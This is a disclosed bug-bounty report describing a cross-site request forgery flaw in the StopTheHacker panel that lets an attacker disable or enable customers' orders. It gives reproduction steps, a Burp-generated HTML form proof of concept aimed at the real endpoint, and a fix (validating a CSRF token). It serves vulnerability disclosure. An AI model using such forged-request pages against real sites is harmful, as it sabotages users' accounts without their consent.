StopTheHacker · Report #8843
CSRF - Disabling orders at https://panel.stopthehacker.com/manage/disable-order/order/ID
Informativestatus
2upvotes
19 Jul 2014disclosed
How it was found
Hi there,
there's a CSRF which would allow an attacker to disable an order.
Host: https://panel.stopthehacker.com
#Steps to reproduce:
-
- Login to the panel.
-
- Subscribe/order a new scan
-
- Go to the Billing page and get the order ID
-
- Put the order id in the PoC below and submit it
-
- The order will be disabled now.
-
- Same procedure should work for enabling a service.
An attacker would need to guess the order ID by sending some (a lot of) requests.
#PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://panel.stopthehacker.com/manage/disable-order/order/240720" method="POST">
<input type="hidden" name="reason" value="Other" />
<input type="hidden" name="otherReason" value="-" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
You may need to adjust your order ID in the url.
#How to fix? Add a CSRF token and validate it on the server.
Thanks, Sebastian